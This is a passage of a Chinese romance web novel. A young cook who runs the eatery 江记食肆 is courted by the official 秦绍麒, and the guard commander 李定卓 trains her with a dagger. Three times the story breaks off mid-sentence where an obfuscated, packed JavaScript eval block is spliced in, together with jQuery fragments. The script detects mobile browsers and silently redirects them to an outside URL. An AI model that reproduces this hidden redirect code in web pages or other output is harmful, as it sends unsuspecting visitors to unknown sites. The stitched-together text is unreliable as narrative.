卢灿宇笑着先挑一筷蟹肉送入口，鲜美的蟹肉入口即化，暖雪一般轻柔，又含带蟹的醇厚，甚是动人味蕾。 若是淋上醋能再吃一套，想着，卢灿宇去拿醋罐，却被秦绍麒先拿一步。 ：“哈哈，我与表哥想到一处了。” ：“不放，也可惜。”秦绍麒滴了几滴醋，将醋罐交给卢灿宇。 秦绍麒端起小盏，挑起汪着金橘色的蟹黄的薄面皮，送入口轻轻一咬。 轻薄的面皮劲道，浸透了蟹的鲜香，醋微微地酸味宛若一滴彩墨，滴透舌尖，勾起缕缕绚丽多彩，令人欲罢不能。 小小一滴醋，竟将汤包的风味，拖得更上一层楼。 一盏包子几乎是眨眼间的功夫就吃尽，两人都久久未回过神。 ：“客官，石锅鸡块、醋溜土豆丝、海菜鱼丸汤、山药木耳，二位的菜食齐了。” 秦绍麒回过神，抬眸与笑目相对，心莫名就跳快了，自觉失礼，又很快挪开目光，垂眸盯着先后上的红、橙、白、彩，几道菜。 香气漫漫，色味相切，诱人的紧。 卢灿宇咽下馋意：“表哥，桌上的菜食，大多就是江姑娘所制。” 江弥杉笑问：“客官可还满意？” 秦绍麒垂下眸，点头：“甚是满意。” 江弥杉没再多问，：“客官慢用，有事吩咐就好。” 说完，江弥杉又去招呼其他人。 秦绍麒才又滑眸望去。 卢灿宇眼睛都落再菜食之上，未察觉对面表哥的怪异。 ：“表哥，别客气，快尝尝，今日这餐我请客。” 秦绍麒收回目光，笑道：“那便不辜负表弟的盛情款待了。” 卢灿宇哈哈笑两声：“表哥无需是客气。” 鲜美弹软的虾肉一口一个，香辣的鸡块热辣奔放、酸溜溜的土豆丝滑脆开胃，就连素菜都清爽回甘，米饭似在交谈几句间见了底。 然而一碗米饭见底，却还觉能再来一碗。 破天荒的，秦绍麒又添了一碗饭。 ：“表哥，下衙也可来一尝美味啊。” ：“不过近些时候京中有采花贼，江记打烊的也早。” 秦绍麒挑起放着鸡块的米饭，：“贼人已经抓拿归案，无同犯，京中现下应当无风波了。” 卢灿宇：“在何处捉拿到的？” ：“清尚街，贼人交代，本是要做足了准备的，结果被姑娘反将一军。” 此时一声叫唤插进来：“弥杉姑娘，来份糖渍板栗果。” 江…… 弥杉！！ 秦绍麒忆起贼人招供，贼犯所交代的最后一位受害者，便是江弥杉，但未得逞，就被一棍打晕过去。 府衙的兵卒赶到时，江姑娘平安无碍，罪犯也绳之以法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009217|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本是只需关押几旬就可放了的，但宫中有旨，严查重办，以儆效尤，关押就转成流放。 卢灿宇：“那位姑娘真机敏，若不然，这采花贼又不知何时才能落网。” 贼人交代，他寻人，都是要提前打探好的，不做足了准备，绝不下手…… 秦绍麒深以为然：“的确如此，机敏、果断。”说着，望向前处时，唇角微微扬起。 贼人被关还不死心，直嚷着那女子打了他，应该抓起来。 然而，镇抚司督查，他一句话未说完，锦衣卫上手，就老实了。 但锦衣卫那套，他最是反对，严刑之下，人剑与地狱又何区别？ 活阎王，名不虚传。 卢灿宇笑道：“这下好了，入夜江记也会晚打烊一会儿了。” 入夜，晚些打烊…… 秦绍麒问：“通常到几时打烊？” 卢灿宇：“表哥放心，你下衙时，还开呢。” ：“也什么必须推荐的菜食，表哥随意点就好，也不会点错。” 秦绍麒微笑，继续夹菜入口。 吃过饭，卢灿宇便与秦绍麒散步回家，吃得太撑，再不走走，恐怕晌午难歇。 秦绍麒却是也难歇息，回府后，便往书房去。 展纸描画，乌墨浸染，勾勒出一副仕女图。 描至眉眼出，秦绍麒止住，提笔斟酌，却久久未落笔，最后他摆下毛笔，垂眸望着画幅上未及所见万分之一的人像。 墨不然五官，染了则缺了那份无法描摹的灵动与神彩。 便是那份灵动与神彩，令他见之难忘，一见…… 秦绍麒唇角微微扬起，待墨干， 彼时，江弥杉端着一盏蟹黄汤包走出厨房，放至李定卓面前，：“今日只用这一样？” 李定卓点头：“用过御膳，吃不下太多。” 江弥杉笑起，好嘛，特意来的。 李定卓瞟江弥杉一眼，：“今夜不回去？” 江弥杉坐至对面，：“回，江记几日未营业，因此打烊晚了些。” ：“你倒是胆大。” 江弥杉：“若是早些打烊，大人岂不是来空了？” 李定卓一愣，他的确猜想江记未打烊，走至前方不远处，果然亮着烛光。 所以，江弥杉是在等他？ 荒谬至极的念头闯入，李定卓掩饰地垂下眼帘，他挑开面皮，一股热气腾腾的金泉泄出，他端起盏饮下。 江弥杉：“如此，更证明，民女的猜测的对的。” ：“若是大人没来，民女今夜便宿在店里。” ：“风波才平，想来也不敢有人顶风作案。” 李定卓满口鲜香，放下盏：“若是有，你还给人两棍。” 江弥杉：“……” 绕不过去了！ 两棍子都能说到现在，她平时虽然是柔弱女子的形象，但也不至于这么有冲击力吧？ 江弥杉扬起唇角：“未必，兴许是一茶壶。” 李定卓抬眼，挑起一筷鲜美的蟹黄：“取巧的事，并不常有。” 江弥杉：“取巧不成，民女就……” 李定卓打断，他不想听那个几字，：“以后，我每两日落来一回，送你回去。” 、 21. 辣汤鳝丝 西斜的落日只剩一轮，秦绍麒常服走出府衙，来至江记食肆时，天已暗色朦胧。 炊烟袅袅升起，沿路，行人大多是往家中赶，刚有两三批食客从江记食肆走出，谈论着适才的辣汤鳝鱼丝。 辣汤膳丝…… 蟹黄汤包供不应求，晚些去，就售罄…… 辣汤膳丝，不知又是何种风味。 秦绍麒远远先望一眼厨房，才微笑走进。 厨房，炉灶上放着一个圆矮铁锅，内里红海翻滚，涨起的热泡涌动，卷动条条红椒，扑鼻的辣味随着每一颗泡的裂开而浓香诱人。 方万宜端着碗奶白的杏仁露上前，看江弥杉将一盘切丝的鳝鱼倒入滚滚红汤内，问：“是否挂打烊的牌子？” 江弥杉：“挂上吧。” 细丝绕着木筷滑走，灰透的丝条染着红艳艳的辣汤，飘飘荡荡，起起伏伏地与汤中的不可抗拒的麻与辣融透。 鱼丝渐渐转白，江弥杉撒上嫩绿的芫荽，葱花，拿起铁夹子，勾住铁锅两耳，提起还在冒热泡的锅往外走。 见人慢慢走来，秦绍麒放下茶盏，目光从桌上的小碳炉略过，随着江弥杉来至桌前，很快，道诱人的辣意钻入鼻息，冲入脑海，强势地勾起一种令人觉着胃里空荒荒，想大吃一口的欲念。 秦绍麒抬眸，对着江弥杉的笑眼：“秋深风冽，但看到暖锅热气腾腾，身子不知怎么，就跟着暖了起来。” 江弥杉唇边笑意更深：“这便是暖锅的魅力所在，公子可将汤底浇一勺在蘸料碟里，蘸着吃，风味更佳。” 蘸料碟内的姜蒜、花生沫、香油等调味，淋上辣汤，一起一蘸，吃火锅，便少不了这一碟小小的增色。 ：“江姑娘精心配制，如何能辜负?” 如沐春风的笑谈，又是一位清俊的帅哥，颜值气质在京中都少有，看着都让人赏心悦目，若是在现代，遇到了都要多看好几眼，在这儿呢，再养眼也得矜持，江弥杉垂眸，否则徒增误会，到时候她反倒说不清。 江弥杉拿起勺，晃开飘在皮层的辣油，盛起红彤彤的汤汁，灯火下，映着烛光，宛若水中皎月，月随汤泄入一池点翠飘白的蘸汤中。 ：“公子慢用。” ：“有劳。” 江弥杉笑点一下头，转身就对上兰香带着笑意的脸庞，几步走过去，看她一眼，便走进厨房，兰香憋笑站着，以为弥杉是害羞。 江弥杉的身影消失誉门内，秦绍麒才捏筷，从一片火海中，夹起漫游其中的鱼丝，粼粼光点，火辣的红汁一闪一闪地顺流而下，又坠入热池。 秦绍麒端过蘸碗，将鱼丝一圈浸入蘸汤，鱼丝外裹上一层莹莹汤汁，他继续端起碗，夹起鱼丝送入口中，身子不由一颤。 麻辣的风味在舌尖迸放，穿透唇舌，将最佳的火点投入脑海，最后绽放出一朵朵灿烂至极的花火，一下就抓住人所有的注意，继而点燃舌尖，是麻意在舌尖似鼓点般的助兴，是香辣如协奏的乐曲的触动。 而被浸透的鳝鱼，软嫩鲜香，在乐曲与鼓点协奏中，于舌尖正跳得酣畅淋漓，抓引注全身，一览它的诱人。 不愿停，不想停，只一口，就令人拜倒。 在吞咽而下的热辣一路蔓延时，秦绍麒又迫不及待地夹起余下的鱼丝送入口。 热辣凝在舌尖，秦绍麒又忙挑拌了梅子的米饭入口降温。 若是说适才是火海奔流，那么当下就如一场及时的甘霖，梅子的酸甜味，清新又温和，解腻之时，又扑灭了舌尖的星星火点。 然而，滚滚火海中，却不止鳝鱼。 弹润顺滑的粉条，绵糯糯的土豆、山药、爽脆的豆芽…… 单吃各有风味，一筷而起，入口有是满口增香。 实在美味！ 秦绍麒一筷接一筷的沦陷，眨眼睛的功夫，米饭就用完了，便又来了半碗米饭。 厨间，江弥杉与方万宜正揽高袖边，收拾打扫。 方万宜涮着锅，问：“姑娘今日随我们一起回去？” 江弥杉擦着灶台，应一声：“对，一起回去。” 按日子算，今夜李定卓是要来的，但是由于临时有事务要处理，所以就提前派人来告知，夜里不来。 人虽没来，但是送来了一个木匣子，装着匕首与一封书信。 信上只写着明日几时派车马至清尚街，笔锋凌厉，似乎隔着几字，都能看到李定卓冰寒的脸。 方万宜咬下唇，目中浮上思虑，声音低小：“姑娘，李大人，待你很不同。” 江弥杉动作一滞，无奈地挑起眉，简单复述：“他是有任务在身，不得不如此，否则也不会关照我。” ：“并非是因为我这个人。” 方万宜：“姑娘真如此想？” ：“对，我也是想的。” 不这样想，有什么办法呢？有人极力撇清，她还能直说我知道你是在骗我，你心里其实有我，这种话吗？ 又不是非他不可，投入更多纠结在这件事上，还不如多想几道菜食。 任务就任务吧，交给朋友没什么不好。 ：“那……姑娘觉得，秦大人如何？” 江弥杉转身：“怎么这么问？” 方万宜如实将看到都说了：“秦大人眼睛，常随着姑娘走，时而姑娘端菜出去，他也是望着姑娘。” ：“姑娘，眼睛不会骗人的。” 江弥杉轻笑，反驳：“未必如此，知人知面不知心呢。” 方万宜大致猜想到，弥杉对男女之情，并未太在乎。 比起男女之情，弥杉兴许更看重食肆…… 江弥杉：“我不急，不过你们若是有心仪的，也可告诉我。” 方万宜轻笑一声，：“姑娘不急，我们急什么？” 兰香是不会，她是没有心思，当下看，姑娘又是不在乎…… 说完，兰香就端着收来的锅走进：“姑娘，外边无人了。” 江弥杉笑颜：“厨间收拾干净就回家。” 三人各自分工，打扫干净厨房并未花太多时间，店关上门，天色已完全暗下。 江弥杉握着灯笼走在中间，天边皎月晖光淡淡一轮，受风一抚，被灰云掩去大半。 行至街市时，四下灯花兴兴，道上还又不少人，夜市正是热闹的时候。 三人放慢了脚步，遇到心仪的物件便停下购买，又到桥头，兰香先望一眼江弥杉，才道：“诶，秦公子。” 循声望去，灯晖下，秦绍麒眉眼温和地望着前方，露出笑意。 三人走近，秦绍麒道：“好巧，江姑娘。” 江弥杉：“……” 兰香憋着笑，走至方万宜身边，：“姑娘，我与万宜先回，准备夜宵。” 秦公子像是有话与姑娘说，她们在此处，反倒不合适。 江弥杉觉着无论要谈什么，她都必须将话都说清楚，便将灯笼递给方万宜。 兰香拉着方万宜快速离开，：“我猜，秦公子大约要与姑娘表露心迹。” ：“你觉着呢，如此多的食客，唯有秦公子看姑娘的眼神不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009218|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 方万宜微微一笑：“并非唯有秦公子。” 兰香挑眉：“还有那位？” ：“锦衣卫，李大人。” 兰香啊了一声，这她到没有主意，毕竟也不敢盯着他。 方万宜：“不过，这是姑娘的事，由姑娘自己决定。” 兰香想了会儿那位李公子，心里还是觉得秦公子要更合适些。 彼处，江弥杉并肩与秦绍麒走上桥，他握着灯笼，路前一片明亮，却轻声提醒弥杉注意脚下。 江弥杉微笑着问：“公子有话与我说？” 秦绍麒嗯的应下，转头看向身边的弥杉，：“想问姑娘，可有心上人。” 江弥杉：“我已定亲了。” 秦绍麒轻笑：“姑娘无需如此遮掩，如实答我便好。” 江弥杉：“……”他知晓内情了！ 秦绍麒见弥杉面露诧异，垂眸解释：“我知晓姑娘身世，自然也知晓姑娘口中的定亲，并非如实。” 此事，便也不是他特意打听的，而是无意间听府衙的衙役交谈，那个定罪流放的贼人，是触怒了宫中贵人。 太后未选秀前与江将军的妻子乃是手帕之交，江弥杉是将军的尚还存世的血脉，今年刚出宫。 ：“公子查我？” 说完，江弥杉又懊悔，她的身世也不是什么隐藏的事，知情的人，也不少。 江弥杉又道：“我……我并非此意，请问公子是如何知晓的？” 秦绍麒如实告之，：“因此，再下猜测，姑娘定亲是为减少不必要的困扰。” ：“或许……” 随风而过，带动鬓角细发飘飘，江弥杉微微一笑，垂眼望着鞋尖，道：“并无心上之人。” ：“可否，给再下一个机会？” 江弥杉先是诧异于秦绍麒的直接，而后将发别至而后，斟酌了片刻，抬眼道：“我想考虑几日。” 秦绍麒：“无论多久，我都能等。” 江弥杉眸轻震了一下，一时未留意脚下，踉跄一步，身旁的秦绍麒扶住她的手腕，待她站稳，又很快松开。 对上弥杉惊魂未定的眸子，秦绍麒背手，又不自觉地磨蹭着暖意还未散去的掌心，：“冒犯了。” 江弥杉站稳，莞尔一笑：“多谢公子。” 万物失色般的静止，轻风、煦光似乎都对江弥杉格外偏爱，一颦一笑，都含着世间光彩，熠熠生辉。 秦绍麒不自地空咽一口，眼睛四处寻找方向，：“再下姓秦，名绍麒，绍兴之绍，麒麟之麒。” 江弥杉：“好名字。” ：“姑娘也是。” 江弥杉轻笑一声，望着前处点点星光，若有所思地问：“大人今日与我说的，家中人可知？” 秦绍麒：“我虽是灿宇的表哥，但自幼父母双亡，亏得伯父、伯母教养，得以长成，建功立业，如今已自立门户，他们二位对我的婚事无过多要求……” 说到此处，他顿了顿，转眼望向江弥杉，才道：“只需，是我心爱女子。” 秦绍麒话音温润，进入耳中又多了几分缱绻，江弥杉一时不知该说什么。 直言有直言的好，但也有弊端…… 她无法回应，准确来说，是不知该如何回应。 江弥杉微微一笑，无言往前。 秦绍麒送江弥杉回到家，看她关上门，又在门前站了片刻，似乎等风携走温热，他才提灯离开。 一抹光亮消失于清尚街，月色朦胧投散而下，带出一片暗影。 22. 炸鸡 京郊的宅院并未如想象中的一般雄伟壮观，马车在院里停下，江弥杉探身出去，就见一位泪眼婆娑的旧人。 ：“四姑娘！”压制过后的哽咽，听上去却更添伤感。 那人看江弥杉还未认出了，急着陈述：“我是……我是老爷身边的周旺，周管家。”说着抬袖拭泪。 ：“周伯伯……”话说到一半，江弥杉眼内就涌出泪。 时过境迁，当初将军身边最得力的左膀右臂，当下已经两鬓苍苍，灰发密密，说话间，脸上皱纹带动岁月的痕迹，江弥杉并非是第一回遇故人，可悲潮还是无法克制地冲击着心房。 江弥杉几乎下意识地就想到了将军，想象他年老，是何模样，一旦想，越是连眼眶都在刺痛。 她快步走下，握住周旺的双臂，细细将他打量一道，红唇悲抖，眼泪一颗一颗跟着往下滑，：“周伯伯……” ：“我们的四姑娘，长大果然更俏丽了。”周旺擦拭眼泪，展出个笑，满眼都是欣慰。 江弥杉哭得更厉害，情感的共通宛若急来的潮水，即可就将人淹没在往事之中。 老爷和夫人虽都不在了，周旺想，他们在天之灵，大约也更愿看到姑娘高兴，如此才能安心，他要照顾好姑娘才是。 周旺忙抚道：“姑娘，好起来了，都好起来了。” 江弥杉眉心蹙着，连点几下头，掉下泪珠，她忙拿出帕子拭泪，深吸几口气，抵去翻起的心潮。 平稳住心绪，江弥杉的眼仍是湿漉漉的。：“周伯伯怎么会在此处？” ：“是大人买的我。”周旺话语却还带着几分哽咽道。 老爷委派他送那时还是幼童的大人去武馆袭武，又常送衣物与书籍给大人，一来二去，也可说，大人是他看着长成的。 不过，提到大人，周旺有更要紧的事。 他牵着江弥杉往前，：“大人昨夜回来时，心情就极为不悦，今早收了一封信纸，看完了，脸色更不大好，姑娘要小心。” 大人提过，他奉命护姑娘周全，因此与姑娘相识。 可他脾气阴晴不定，姑娘若是不经意触怒了他，难过的还是姑娘。 江弥杉觉得奇怪，什么事能把他李定卓气成这样？ 她不露声色地点头：“我会当心的。” ：“我引姑娘去花园，大人当下就在那儿练武呢。” ：“有劳周伯伯。” 花园不远，一路上没有仆人，周旺解释，大人的话，宅院里，不需要下人，院内事务一应由他打理。 江弥杉诧异于李定卓的极简，但细想过后，又觉得不奇怪，李定卓兴许是觉得，人多不热闹，是烦。 但她未细问，只点两下头，转了话题：“伯伯身子骨可还好？” 周旺笑起：“人老了，也无从前那般硬朗了，但照看院子，也还算得心应手，时而有细小病痛，抓几副药吃下，也就好了。” 江弥杉：“如此就好。” 穿过阡陌小道，两侧栽花、植树，缤纷延绵至入口。 周旺停下，：“大人交代过，请姑娘独自进去。” 秋色宜人的园子，一泄清泉浮花轻晃，再往前，隔一个圆月罩，未见到人，里面就已传出舞剑声。 入目，墨蓝袍影执剑刺舞，空气中似有仇敌，每一剑都舞都似乎用尽全身力气。 这何止脸色和心情不好，简直是坏到了极点，江弥杉在外探看片刻，觉着如果她现在转身离开，到时候李定卓去店里，她更不好办。 深呼吸几口气，江弥杉鼓起勇气，迈步走近。 李定卓挥剑转过身，乌眸向前方抬起，压在上方的剑眉向中间眨眼间的挤了下，又恢复寻常，只是手不自觉地握紧刀把，粗喘几口气，塞在心里的闷感却更重了。 江弥杉更懵了，但情况不同，不能再火上浇油，便欠身规规矩矩地行了礼。 李定卓收起刀，看她行礼，心内似乎更涨得厉害，在原处望她下一步要怎么做。 江弥杉捏紧手，走至李定卓面前，唇角扬起，先一通夸赞：“大人的剑舞得真英武。” 李定卓目光扫下，又不禁地在樱唇上停了片刻，才极快地挪开，心里的气似乎突然消了些，：“今日先教你下手轻重。” 没有客套，直接进入主题，江弥杉点头，从袖中拿出匕首，：“有劳大人。” ：“走吧。” ：“好。” 练习用刀轻重的物件，是一桶及腰的泥沙，李定卓望着橙色的泥沙，：“出刃要快、准、狠。” 江弥杉嗯地应一声，拔刀出鞘，用力往泥沙中一扎，转脸望向李定卓：“如此可好？” 李定卓面无波动，眼睛却从泥沙转停至江弥杉面庞之上。 他捻磨着指腹，而后松开手，从另一侧握上刀鞘，手指覆住比刀鞘细腻、温热的柔夷，在江弥杉错愕的目光中，拔出刀，又毫不留情地扎进泥沙中。 沙土飞溅，钻进缝隙，摩擦的痒意染着软硬相结的指骨间。 江弥杉盯着沙，忽觉得痒意就染到了嗓子眼，脖颈处的薄皮一动，却未有缓解。 但，这样确实是个好办法，江弥杉很快收起多余的心思，道：“我明白了。” 闻言，心跳的响动却占据了整个耳膜，李定卓顿了片刻，挣出一缕神智，果断松了手，目光随着掉落的沙子埋进沙桶，才抬眼，对着那双含笑的眼。 干咽一口，道：“就如此练。” 江弥杉握紧刀鞘，拔刀起来，刺刀而下，溅起缕缕沙土。 李定卓站在一旁观望，时而烹茶，时而视线流转于细沙与粉面间，时而指教：“不够，再用力。” ：“一刻也不要犹豫。” 江弥杉垂眸：“……明白了。” 转眼，暖日升至正空，江弥杉练完最后一组，才终于收起刀，转身笑说：“时辰到了。” 轻风一缕滑过，李定卓一时恍神，：“擦汗。” 江弥杉拿出手帕，再悄悄抬眼瞄身边的人，神色如常，一丝多余的表情都没有。 或许，是她猜错了，李定卓兴许没有其他心思，秉持着奉旨的本心，尽职尽责，她感觉到那些，兴许只是荷尔蒙作祟下的错觉。 江弥杉啊，江弥杉，清醒，再清醒一些！ 心里有了定论，江弥杉坦然了许多，擦着汗，思索今天吃什么，还报恩情。 江弥杉问：“公子可备了菜食？” 李定卓：“我不知晓。” 吩咐周旺去办的事，菜，他应该都备齐了。 江弥杉：“……” 也是，心情不好的时候，那有心思管这些。 ：“那去厨房看一圈。” ：“好。” ＊ 宅院厨房的案台鲜少放的如此严实，周旺系着围裙，时而切菜，时而瞧锅烟漫漫，又擦干净手，去瞧菜。 李定卓当值时大多都是在京里住，休沐时才回院子，口味又甚是挑剔，这些年，周旺都被锻炼出来了，基本能做一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009219|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两道李定卓会动筷的菜。 听见脚步声，周旺还在砍鸡的动作一停，：“大人，姑娘，你们来做什么，午饭一会儿就做好，你们快去休息吧。” 江弥杉笑着走近，：“周伯伯，我来帮你。” 周旺忙放下刀，摆手：“那怎么使得！” 江弥杉：“我都开食肆了，那还会在介意做些。” 周旺啊了一声，惊诧地望着江弥杉，又望向李定卓。 江弥杉笑眼弯弯：“这道菜交给我，正好周伯伯也尝尝我的手艺。” 周旺愣了一会儿，见李定卓点头，才退开，去切案台上的山药。 江弥杉望着鸡，冒出想吃全家桶的念头。 江弥杉问：“周伯伯，有面粉和土豆粉吗？” 周旺想了片刻：“有，我这就去拿。” 站在江弥杉身边的李定卓开口道，：“我去。” ：“大人，在墙后的柜子里。”难得啊，大人下厨了。 江弥杉洗干净手，握刀砍鸡。 厨房各自忙碌，李定卓站在江弥杉身边，看她腌肉、裹粉。 她的手，似乎是有某种神奇地法力，无论何种食材，在她手里，无论是何食材都会如镀上层艳色、增一层香气。 当目光又再次不禁上滑，落至多少一分都失色的面容之上。 素净的面庞静白似冬雪，一双眉目又似夏秋日灿美，因而春日的生机生于她的一颦一笑。 如何看…… 李定卓似又醒过神，仓促地收回目光，往后退一步。 江弥杉握着竹篮，抖动筛去肉块上多余粉，转头问：“怎么了？” 李定卓眨眼：“呛。” 周旺炒着菜，转过头：“大人，烹菜时，的确会有几分呛，不若大人去堂屋等候吧。” 江弥杉端着竹篮，转身，深以为然：“一会儿晕……” 李定卓转身离开。 厨房的油声愈起，李定卓目中思虑千万，站在前方的桂花树下，金云随风轻颤，泄下香风。 毋庸置疑，秦绍麒与江弥杉……甚是般配。 无赌、嗜酒、贪恋女色的诸多恶习，身世清白，自立门户，又有政绩，前途不可限量。 郎才女貌，这该是件喜事。 但，无法掩饰的是，看着他们走过时，是无法抑止的火喷涌而出，甚至，在未收到查报时，他已经知晓该如何劝阻…… 展开查报时，他不过是多想了。 不过是，多想了······ 兴许，习惯了，就能平静面对，坦然地望着江弥杉和另一个人说笑着共度余生。 李定卓长呼一口气，强硬的想法并未舒缓跳乱的心绪半分，反而，兴许是太过强硬，致使他的思绪团成一圈抵抗，谁也不肯退后一步。 ：“公子，可以用饭了。”温和似春日，轻易就能抓住他所有的注意。 江弥杉端着金灿灿的炸鸡，香风漫漫，见李定卓站在树下，若有所思地望着某处，满腹心事的模样，不免好奇。 什么案子能将他难为成这样？少见，的确少见。 李定卓未留神时，已经往前走了两步，周旺两手端菜走出，：“大人，可用饭了。” 周旺的目光又在大人和姑娘间流转几回，察觉出一丝不对劲，这不对劲是在大人身上，完全就是一副情窦初开的模样，看姑娘的模样，兴许大人还未表露，不过按大人的性格，也不应该啊······ 奇怪，真是奇怪。 23. 炸鸡与米饭 三个人五个菜，两荤两素一汤，香气诱人，色泽亮眼。 开饭，李定卓前夹起碗里金灿灿的炸鸡肉，没去紫葱酱，直接将鸡肉送入口中。 酥脆的面衣咔呲一声裂开，毫无障碍的触到满是香味的肉底，嫩嫩的肉一层叠一层地挤出浸着蒜香的肉汁。 蒜味不重，却有的恰到好处，在刺激与寡淡之中，处于微辣的蒜味衬托着鸡肉的醇香更上一层楼，但不至于完全让舌齿都被其覆盖，多少一分都无法将这份美味发挥地淋漓尽致。 一口而下，也说不上是为何，却能觉得很是满足，十分想再继续填补这份满足，欲罢不能。 李定卓无言吃完余下的，周旺才咬一口，就被俘获，夹着肉赞叹：“姑娘做炸鸡，实在美味啊！” 他每回烹调鸡肉，大人都难以下咽，今日大人竟吃下去了！ 江弥杉吃完鸡，只觉身心满足，笑回：“伯伯若喜欢，我留个方子给你。” 周旺忙道谢，又问：“姑娘明日可还来？” 江弥杉：“明日去万峰山游玩，该是不来了。” ：“姑娘一人去？”万峰山景色怡人，但一人去还是太危险了。 ：“与友人一起。”江弥杉粗略的回道。 昨夜道别前，秦绍麒问后日是否有幸一起外出散心，江弥杉犹豫了片刻，点了头。 难得休息，除了今日要来别院，明日本打算休息，后日与兰香和万宜去京郊的枫叶湖游玩，但许久未登山了，她有些怀念，于是便问带上两位亲人，秦绍麒点头同意。 江弥杉说完，李定卓蘸酱的动作一滞，面衣完全浸入淡橘色的酱汁，眼底在众人还未有所察觉间，迅速闪过难言的复杂，才夹起鸡，送入口。 酸甜中，带着微辣的紫葱味，此刻，那抹酸意，却格外突出。 江弥杉未有察觉，道：“周伯伯可还记得兰香，她如今也在我身边。” 周旺回忆了一阵，惊喜地挑起眉：“是常跟在姑娘身边的那个小丫鬟吧？” 江弥杉点头：“对，就是她！” ：“有熟悉的人能陪着姑娘，更好了。” 如此，老爷与夫人在天有灵，也更能安心了。 ：“我们置了一间铺子在尚仁街，叫江记食肆，周伯伯得空也可来尝尝味。” 李定卓默默吃饭，如此才能不去想同游时的情景，却缓解不了堵住的心绪。 ：“江记食肆，好，好。” 两人说完，周旺一瞧李定卓面前的小碟空了，忙道：“大人莫光吃饭，这些菜都是姑娘又教了我一些，才烹制的，味道应该也不错。” 江弥杉也看去，米饭上确实很干净，一点其他色的菜油都没有，悄悄抬眼打量李定卓。 怎么会有人越吃，脸色越不好的，还不是下馆…… 这心情差到什么地步了？ 江弥杉默默夹起炸鸡，放入李定卓面前的小碟：“炸出的鸡肉，与米饭一起吃，味道也不错，公子试试。” ：“改日来，也可将米饭包在炸鸡肉外，做炸鸡饭团，方便又美味。” 李定卓望一眼鸡肉，又抬眸：“带去登山，不是更好吗？” 江弥杉却没想到他会说这个，眨眼间的诧异后，道：“嗯，若在加一些菜蔬，裹起成饭卷，更美味几分。” ：“哦。” 周旺却反应过来，大人是想同姑娘去爬山，又不好得说…… 看来，无论性子如何，春心萌动时，都大差不差嘛。 江弥杉：“……” 午后，江弥杉练习时就更谨慎，李定卓虽不会发脾气，但沉着脸时，站在身边依旧会感到压力。 江弥杉算是体会到了他人口中，阴晴不定的指挥使是何模样。 兴许眨眼前还端来茶，才抿一口水，只是接水时无意间的碰一下，李定卓沉脸说别碰到我。 江弥杉点头应下，不管是接茶，还是送回，都给外小心。 然而，李定卓眉眼间的怒气，还是更重了。 直至太阳西沉，江弥杉坐上马车，周旺道：“姑娘，今日是大人生气，往日他回院子，绝不如此。” 江弥杉点头：“我明白，周伯伯快回去吧，过几日，我会再来了。” 江弥杉提着大包小包到家时，兰香与方万宜也正好逛街回来，手里提着大包小包的物品，除去为明日去登山备的小食，还有些日用物资。 三人坐在廊下，一人一手拿着梨，兰香：“姑娘练匕首有趣吗？” 江弥杉：“有吧，等过几日，我也帮你们打一把匕首。” ：“啊？” 江弥杉：“待我学成，我就开始教你们，以后若有意外发生，兴许还能保命不是？” 方万宜：“有劳姑娘了。” 兰香点头，思索片刻后问：“指挥使可凶？” 正准备咬梨的江弥杉停下，：“·····还好，不是很凶。” ：“真的？” ：“嗯。” 兰香不敢置信地望向方万宜，果真如万宜所说，不过指挥使凶不凶，好像都一个样，也千万别有机会间到其他样的。 方万宜微微挑起眉，从姑娘说，休息时要与李指挥使学匕首时，她就猜到，指挥使待姑娘不同，只不过，指挥使何时表露出来，这就不得而知了。 * 山间的雾气还未散尽，朦胧一片间，几声笑语穿出云雾，在山中回响。 兰香挽着方万宜走在最前，背着一个鼓鼓的布袋，同样的布袋，江弥杉也背着一个，里面装着些蔬果和吃食。 山间空气清新，江弥杉觉着松快了许多，问身边的秦绍麒：“公子也时常外出郊游？” 秦绍麒轻笑，回答：“只是休沐时，四处走走，谈不上是郊游。” 江弥杉仰头：“郊游并非是拘泥于地点，不是？”说完，她面上露出清清笑意。 秦绍麒点头：“时而在外，到日落，都不想回家去，但，不回又惹家中管事担心，在他眼里，我还是个孩童似得。” 江弥杉轻笑一生，有了对应：“食肆营业时，夜里我晚回去一刻，兰香与万宜都紧张的不行，担心我路上遇到什么不好的事。” 秦绍麒：“是因为上回的采花贼？” 京中治安还算安全，除了采花贼一案闹得人心惶惶，罢了几日的晚市，其他天，夜里也有人外出去街边小摊采买夜宵，但多数都是结伴而行。 想到此处，秦绍麒道：“姑娘若是不介意，我可送你回去。” 江弥杉摇头：“大人还是趁着身 